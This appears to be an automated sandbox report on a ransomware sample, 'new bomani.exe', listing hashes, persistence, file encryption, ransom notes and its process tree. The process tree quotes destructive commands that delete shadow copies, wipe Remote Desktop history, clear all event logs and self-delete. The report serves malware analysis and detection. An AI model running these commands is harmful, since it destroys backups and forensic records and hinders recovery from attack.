Resubmissions
30/03/2022, 09:01
220330-ky7kssbab7 9Analysis
-
max time kernel
4294186s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20220311-en -
submitted
30/03/2022, 09:01
Static task
static1
Behavioral task
behavioral1
Sample
new bomani.exe
Resource
win7-20220311-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
new bomani.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
new bomani.exe
-
Size
78KB
-
MD5
1a75e7dd18a7186ca44fcf27eb94c4aa
-
SHA1
049917bb6e78a990f753119e36015c540d51d28f
-
SHA256
bbad11dfe76b92735648bce03bc5e163e235120d1114391be78665f8c2f14c94
-
SHA512
8fc7ec6637279dab404cba57c913bfa095de487b2217e7aab9d8653644649e5a2c50882f9ee825f4b0403b45257114d6e6e65e6f2f2e947aa7e00b762ebaa258
Score
9/10
Malware Config
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\LicChk = "C:\\Users\\Admin\\AppData\\Local\\new bomani.exe" new bomani.exe -
Drops desktop.ini file(s) 38 IoCs
description ioc Process File opened for modification C:\Users\Public\Desktop\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Searches\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini new bomani.exe File opened for modification C:\Program Files (x86)\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Links\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Libraries\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini new bomani.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI new bomani.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini new bomani.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Music\desktop.ini new bomani.exe File opened for modification C:\Users\Public\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Downloads\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Videos\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini new bomani.exe File opened for modification C:\Program Files\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Videos\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Documents\desktop.ini new bomani.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Documents\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Music\desktop.ini new bomani.exe File opened for modification C:\Users\Public\Pictures\desktop.ini new bomani.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: new bomani.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_K_COL.HXK new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_ContactHighMask.bmp new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrow.jpg new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SIGNHM.POC new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-filesystems.xml new bomani.exe File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\DEEPBLUE\Read Me!.hTa new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0384885.JPG new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02291U.BMP new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN086.XML new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15056_.GIF new bomani.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\weather.html new bomani.exe File opened for modification C:\Program Files\7-Zip\Lang\el.txt new bomani.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png new bomani.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\service.js new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00687_.WMF new bomani.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png new bomani.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115844.GIF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\CAMERA.WAV new bomani.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\Read Me!.hTa new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\TimeCard.xltx new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_FileHighMask.bmp new bomani.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png new bomani.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png new bomani.exe File opened for modification C:\Program Files\Windows Media Player\en-US\wmpnetwk.exe.mui new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\1033\OLR.SAM new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\Built-In Building Blocks.dotx new bomani.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SONORA\PREVIEW.GIF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0285698.WMF new bomani.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\es-ES\cpu.html new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CST6CDT new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-core-kit.xml new bomani.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\HST10 new bomani.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\common.js new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105410.WMF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Formal.dotx new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CATALOG.XML new bomani.exe File created C:\Program Files\Java\jdk1.7.0_80\db\Read Me!.hTa new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt new bomani.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_de.properties new bomani.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF new bomani.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\css\settings.css new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\zipfs.jar new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-heapdump.xml new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Maroon.css new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectTaskIconMask.bmp new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0157831.WMF new bomani.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Maceio new bomani.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini new bomani.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\it-IT\css\flyout.css new bomani.exe File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\ECLIPSE\Read Me!.hTa new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090149.WMF new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Swirl\HEADER.GIF new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\TAB_OFF.GIF new bomani.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui new bomani.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\btn_close_up.png new bomani.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_ja.jar new bomani.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_Groove.gif new bomani.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 756 vssadmin.exe 916 vssadmin.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeBackupPrivilege 412 vssvc.exe Token: SeRestorePrivilege 412 vssvc.exe Token: SeAuditPrivilege 412 vssvc.exe Token: SeIncBasePriorityPrivilege 1616 new bomani.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1616 wrote to memory of 1092 1616 new bomani.exe 27 PID 1616 wrote to memory of 1092 1616 new bomani.exe 27 PID 1616 wrote to memory of 1092 1616 new bomani.exe 27 PID 1616 wrote to memory of 1092 1616 new bomani.exe 27 PID 1092 wrote to memory of 756 1092 cmd.exe 30 PID 1092 wrote to memory of 756 1092 cmd.exe 30 PID 1092 wrote to memory of 756 1092 cmd.exe 30 PID 1616 wrote to memory of 2008 1616 new bomani.exe 36 PID 1616 wrote to memory of 2008 1616 new bomani.exe 36 PID 1616 wrote to memory of 2008 1616 new bomani.exe 36 PID 1616 wrote to memory of 2008 1616 new bomani.exe 36 PID 2008 wrote to memory of 916 2008 cmd.exe 39 PID 2008 wrote to memory of 916 2008 cmd.exe 39 PID 2008 wrote to memory of 916 2008 cmd.exe 39 PID 1616 wrote to memory of 1744 1616 new bomani.exe 38 PID 1616 wrote to memory of 1744 1616 new bomani.exe 38 PID 1616 wrote to memory of 1744 1616 new bomani.exe 38 PID 1616 wrote to memory of 1744 1616 new bomani.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\new bomani.exe"C:\Users\Admin\AppData\Local\Temp\new bomani.exe"1⤵
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"2⤵
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:756
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"2⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:916
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\new bomani.exe > nul2⤵PID:1744
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:412